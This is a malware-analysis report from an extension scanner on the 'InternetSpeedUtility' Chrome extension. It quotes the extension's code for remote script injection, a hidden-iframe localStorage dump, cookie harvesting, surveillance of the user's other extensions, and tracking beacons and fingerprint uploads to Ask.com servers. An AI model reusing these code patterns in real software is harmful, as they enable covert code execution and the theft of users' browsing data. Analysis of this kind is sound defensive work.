Security Alert: Confirmed Malware
InternetSpeedUtility
ID: bdmpgbmbdllbpdidgdcliliimmkeocin
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://internetspeedutility.netView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Test upload and download speeds. Get FREE tips on how to boost connectivity and more with this Chrome New Tab Extension.
Get InternetSpeedUtility, test upload and download speeds, plus update your new tab page search to MyWay.com. Comes with daily content to show you news, weather and more in a new Chrome window! By installing this extension, you agree to the End User License Agreement and Privacy Policy (https://eula.askapplications.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions Requested "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience. Release Notes: 13.962 : Optimizes the sync of this extension between Chrome profiles.
The BabAPI exposes an 'inject-script' feature that accepts an arbitrary JavaScript code string (babMessage.args.code) and executes it in the active tab using chrome.tabs.executeScript. The target frame is selected by matching a URL regex also supplied at runtime, meaning the background page (or any connected content script) can inject arbitrary code into any page the user is viewing. This is a full remote code execution capability within the browser context.
"inject-script": { getRequiredArgs: function() { return ["matchUrlRegExStr", "code"]; }, execute: function(babMessage) { return new Promise(function(resolve, reject) { chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { if (!tabs || !tabs.length) { return reject("no active tab in the current window"); } chrome.webNavigation.getAllFrames({ tabId: tabs[0].id }, function(iframes) { if (iframes) { var targetIframe = iframes.find(function(iframe) { return new RegExp(babMessage.args.matchUrlRegExStr).test(iframe.url); }); if (targetIframe) { var details = { runAt: babMessage.args.runAt || "document_start", frameId: targetIframe.frameId, code: babMessage.args.code }; chrome.tabs.executeScript(tabs[0].id, details, function() {The BabTypeInjectionScript class fetches a JavaScript payload from a remotely-controlled URL (babRemoteScriptUrl in config) and then injects that payload into the active tab via chrome.tabs.executeScript with runAt:'document_start'. This is a classic remote code loading pattern — the extension operator can update babRemoteScriptUrl to serve any arbitrary JavaScript that will silently execute in the user's browsing context. There is no integrity check (hash/signature) on the fetched script.
this.initRemoteScript = function(extensionConfig) { var gettingRemoteScript = new Promise(function(resolve, reject) { if (!extensionConfig.buildVars.babRemoteScriptUrl) return reject(new Error("remove script URL is not set")); AJAX.get({ url: extensionConfig.buildVars.babRemoteScriptUrl }).then(function(xhr) { xhr.status === 200 ? resolve(xhr.response) : reject(new Error("unable to load JSON status:\"" + xhr.status + "\"")); }); }); gettingRemoteScript .then(function(remoteScript) { if (!remoteScript) return Promise.reject(new Error("remote script is empty")); _this.remoteScript = remoteScript; }) ... var remoteScriptInjectionDetails = { code: _this.remoteScript, runAt: "document_start" }; ... new Promise(function(resolve) { chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve); })A hidden iframe is covertly injected into the background page pointing to https://download.internetspeedutility.net/blank.jhtml. A content script (localStorageContentScript.js) injected into that page then reads the page's window.localStorage and returns all key/value pairs back to the background via a chrome.runtime port message. This is a deliberate cross-origin localStorage exfiltration technique: the extension harvests any data the tracking domain has stored in the user's browser without user awareness.
function openDLPDomain(url, getLocalStorage, parseLocalStorage, resolve, reject) { var bgifr = document.createElement("iframe"); bgifr.setAttribute("id", "bgifr"); bgifr.setAttribute("src", url); document.body.appendChild(bgifr); var _this = this; _this.defer(function() { var bgifr = document.getElementById("bgifr"); document.body.removeChild(bgifr); }); var onConnect = function(port) { if (!port.sender.hasOwnProperty("tab")) { chrome.runtime.onConnect.removeListener(onConnect); _this.defer(function() { port.disconnect(); }); getLocalStorage(port, _this.keys).then(function(response) { _this.cleanUp(); resolve(parseLocalStorage(response)); })This content script, injected into https://download.internetspeedutility.net/blank.jhtml, reads all localStorage keys from that page and transmits them back to the background script over a chrome.runtime port. When no specific keys are requested (keys array is empty), the entire localStorage of the tracking domain is dumped and sent. This acts as the exfiltration agent in the DLP (Download Landing Page) tracking pipeline.
var commands = { getLocalStorage: function(data) { var storage = window.localStorage; var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage); return Promise.resolve(keys.reduce(function(p, key) { p[key] = storage.getItem(key); return p; }, {})); }};function init() { var port = chrome.runtime.connect({ name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-") }); channel = { id: port.name, port: port, callbacks: new Map() }; port.onMessage.addListener(onConnectMessage);}The extension uses the 'cookies' permission to call chrome.cookies.getAll() on the .internetspeedutility.net domain, reading all cookies to extract tracking identifiers (toolbarId, partnerId, installDate, partnerSubId, countryCode, etc.). This data is then synchronized into chrome.storage.sync (via setDLPDataIntoSyncStorage), meaning tracking identifiers are shared across all of the user's Chrome browser instances silently.
function getDataFromCookies(domain) { return new Promise(function(resolve, reject) { chrome.cookies.getAll({ domain: domain }, function(cookies) { if (cookies.some(function(cookie) { return cookie.name === "toolbarId"; })) { Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain); resolve(parseCookies(cookies)); } else { reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain)); } }); });}...function parseCookies(cookies) { var cookiesObj = cookies.reduce(function(obj, cookie) { obj[cookie.name] = cookie.value; return obj; }, {}); var toolbarData = cleanToolbarData(cookiesObj); toolbarData.dataSource = Dlp.dataSourceCookies; Logger.log("Dlp: parseCookies: The fetched DLP data looks like: " + JSON.stringify(toolbarData)); return toolbarData;}The extension syncs a 'dlpToolbarData' object — containing tracking identifiers like toolbarId, partnerId, partnerSubId, installDate, countryCode, and pixel tracking URLs — across all of the user's synced Chrome profiles via chrome.storage.sync. This means a user's tracking profile established on one device is automatically propagated to all their other devices without any disclosure.
function setDLPDataIntoSyncStorage(dlpToolbarData) { return new Promise(function(resolve) { chrome.storage.sync.set({ "dlpToolbarData": dlpToolbarData }, function() { resolve(); }); });}...function getDataFromSyncStorage() { return new Promise(function(resolve, reject) { chrome.storage.sync.get("dlpToolbarData", function(result) { ... dlpData = result["dlpToolbarData"]; dlpData.dataSource = Dlp.dataSourceSyncStorage; dlpData.pixelUrl = ""; resolve(dlpData); }); });}The extension enumerates ALL installed extensions using chrome.management.getAll(), recording each extension's ID, version, and enabled state. It then registers persistent listeners for install, uninstall, enable, and disable events on all other extensions. Changes in the new-tab or search extension stack are reported back to Ask.com analytics servers (anx.tb.ask.com). This constitutes covert surveillance of the user's entire extension ecosystem.
this.init = function(config) { Logger.log("WatchExtensionsHandler: watching extensions with " + WatchExtensionsHandler.permissionsToMonitor + " permissions"); var initWatchExtensions = function() { return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: eInfo.enabled }); }); }); }); }); }; ... chrome.management.onInstalled.addListener(_this.onInstalledHandler); chrome.management.onUninstalled.addListener(_this.onUninstalledHandler); chrome.management.onEnabled.addListener(_this.onEnabledHandler); chrome.management.onDisabled.addListener(_this.onDisabledHandler);The extension establishes a recurring alarm (every 6 hours, per the 21600000ms interval in config.json) that fires a 'ToolbarActive' beacon to https://live.tb.ask.com/tr.gif. Each beacon carries the extension's CWS ID, toolbar ID, partner ID, sub-partner ID, version, and build date. This functions as a persistent user activity tracker — as long as the browser is open the user is pinged to Ask.com's servers to signal continued presence.
function startULPing(config) { var alarmName = "livePing"; var minTimeToNextPing = 60000; var interval = config.buildVars.livePing.interval; var lastPing = config.state.lastLivePing; var ping = function() { var eventData = { cwsid: chrome.runtime.id }; apps.ul.fireToolbarActiveEvent(config.buildVars.livePing.url, eventData, config).then(function(response) { config.state.lastLivePing = Date.now(); background.extensionStateStorage.update(config.state); }).catch(function(err) { Logger.log("Background: startULPing - " + alarmName + ": Unable to send Live ping. " + err); }); }; var delta = Math.max(0, interval - (Date.now() - (lastPing || 0))); if (delta <= minTimeToNextPing) { setTimeout(function() { return ping(); }, delta); delta += interval; } chrome.alarms.create(alarmName, { when: Date.now() + delta, periodInMinutes: interval / 1000 / 60 }); chrome.alarms.onAlarm.addListener(function(alarm) { if (alarm.name === alarmName) { ping(); } });}When the extension detects a navigation to any subdomain of .internetspeedutility.net, it injects this content script which: (1) writes two tracking cookies (mindsparktb_ and mindsparktbsupport_) keyed by the unique toolbarId onto that domain, and (2) exposes a GET_INFO command via postMessage that reveals the user's full tracking profile (toolbarId, partnerId, partnerSubId, installDate) to any page script on that domain that asks for it. This enables the domain to persistently identify the user.
function setInstalledCookies(toolbarId) { var hourFromNow = new Date(Date.now() + (1 * 60 * 60 * 1000)).toUTCString(); document.cookie = "mindsparktb_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/"; document.cookie = "mindsparktbsupport_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/";}...function getCommands(configData) { return { GET_INFO: function(reply) { reply({ toolbarId: configData.state.toolbarData.toolbarId, partnerId: configData.state.toolbarData.partnerId, partnerSubId: configData.state.toolbarData.partnerSubId, installDate: configData.state.toolbarData.installDate, toolbarVersion: configData.buildVars.version, toolbarBuildDate: configData.buildVars.buildDate, }); } };}The OfferService assembles a comprehensive device and user fingerprint — browser name/version, OS, platform, locale, language, userAgent, install date, country code, partner IDs, and user segment — and transmits it via PUT request to a remotely configurable service URL. The offerServiceConfigUrl is fetched dynamically from Ask.com servers and can be changed at any time, meaning the upload destination is operator-controlled.
this.getDataPoints = function() { var params = _this.extensionConfig.state.replaceableParams; return { browserID: "", browserName: BrowserUtils.getBrowserName(), browserVersion: BrowserUtils.getBrowserVersion(), campaign: params.affiliateID, cobrandID: params.cobrandID, coID: params.coID, countryCode: params.countryCode || "99", country: "", installDate: params.installDate, installDateHex: params.installDateHex, language: BrowserUtils.getLanguage(), locale: window.navigator.language, os: BrowserUtils.getOS(), partnerID: params.partnerID, partnerSubID: params.partnerSubID, platform: window.navigator.platform, redirectedUserID: "", toolbarBuildDate: _this.extensionConfig.buildVars.buildDate, toolbarID: params.toolbarID, toolbarVersion: params.toolbarVersion, trackID: params.trackID, userAgent: window.navigator.userAgent, userSegment: _this.extensionConfig.state.toolbarData.userSegment };};The hijacked new tab page loads a full-screen iframe that will be populated with hp.myway.com content. The iframe's 'allow' attribute grants the remote third-party page access to geolocation, microphone, camera, midi, and encrypted-media — highly sensitive browser APIs — without the user ever being prompted or informed. Since the new tab page overrides every new tab the user opens, this permission delegation happens on every new browser tab.
<iframe id="wtt-frame" frameborder="0" src="about:blank" style="position: absolute; left: 0px; width: 100%; top: 0px; height: 100%;" allow="geolocation; microphone; camera; midi; encrypted-media"></iframe>The configuration reveals an extensive affiliate/tracking pixel infrastructure. On installation the extension fires a pixel beacon containing the user's full affiliate chain (partnerId, partnerSubId, coId, toolbarId, countryCode, vendor, user segment signature). A second 'conversion.html' pixel includes a cryptographic signature field (sgn), indicating this is a pay-per-install affiliate fraud system where each user installation is monetized. The 'unifiedLoggingUrl' at anx.tb.ask.com receives behavioral telemetry for every in-extension action.
{ "dlpTemplates": { "pixelUrl": { "dlp1": "https://{{hostname}}/install_pixels.jhtml?partner={{partnerId}}&sub_id={{partnerSubId}}&coId={{coId}}&tbGuid={{toolbarId}}&s2={{s2}}&s3={{s3}}&s4={{s4}}&s5={{s5}}", "dlp2": "https://{{hostname}}/conversion.html?ref={{ref}}&cobrand={{cobrand}}&campaign={{campaign}}&track={{dlput}}&si={{partnerSubId}}&s2={{s2}}&s3={{s3}}&s4={{s4}}&s5={{s5}}&coId={{coId}}&country={{countryCode}}&otOptIn={{ot}}&pDomain={{pd}}&vendor={{vd}}&pGroup={{pg}}&nfc={{nfc}}&guid={{toolbarId}}&ver={{ver}}&sig={{sgn}}" } }, "unifiedLoggingUrl": "https://anx.tb.ask.com/anx.gif", "unifiedLoggingDLPUrl": "https://download.internetspeedutility.net/anemone.jhtml", "livePing": { "url": "https://live.tb.ask.com/tr.gif", "interval": 21600000 }, "pTagServiceUrl": "https://params.internetspeedutility.net/ptag"}The extension implements a four-level cascade to extract tracking/affiliate parameters: (1) chrome.storage.sync, (2) cookies from the download domain, (3) localStorage from a silently-loaded tracking iframe, (4) URL hash parameters from open tabs. At each level it looks for affiliate tracking codes. This cascade is specifically designed to recover referral attribution across install vectors, constituting systematic unauthorized data collection from multiple browser storage locations.
function doInstall(config) { ... var toolbarDataFromLocalStorage = JSON.parse(localStorage.getItem("dlpToolbarData")); ... return (toolbarDataFromLocalStorage ? Promise.resolve(indicateUpgradeFromLegacyAndCleanToolbarData()) : getToolbarData(config.buildVars.localStorageUrl, config.buildVars.downloadDomain, background.localStorageInitTimeout, defaultToolbarData, config)) ... function getToolbarData(localStorageUrl, cookieDomain, timeout, defaultToolbarData, config) { var syncStorageAPIFailed = false; return Dlp.getDataFromSyncStorage() .catch(...) .catch(function(cookiesErr) { return Dlp.getDataFromLocalStorage({ url: localStorageUrl, ... }); }) .catch(function(rejectionObj) { return Dlp.getParamsFromHash(defaultToolbarData); }) .catch(function(urlHashErr) { return GlobalConfigService.read(config).then(function(globalConfig) { defaultToolbarData.dlput = globalConfig.viralTrackConfig.viralTrack; ... }); }); }By severity
Versions scanned
Showing 2 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 13.962.19.39177 | 13 |
| 13.958.19.40261 | 7 |
Files with findings
14 distinct paths — top paths by unique finding count:
- js/background.js3
- js/dlp.js3
- js/dlpHelper.js2
- js/watchExtensionsHandler.js2
- config/config.json1
- js/babAPI.js1
- js/babTypeInjectionScript.js1
- js/extensionDetect.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.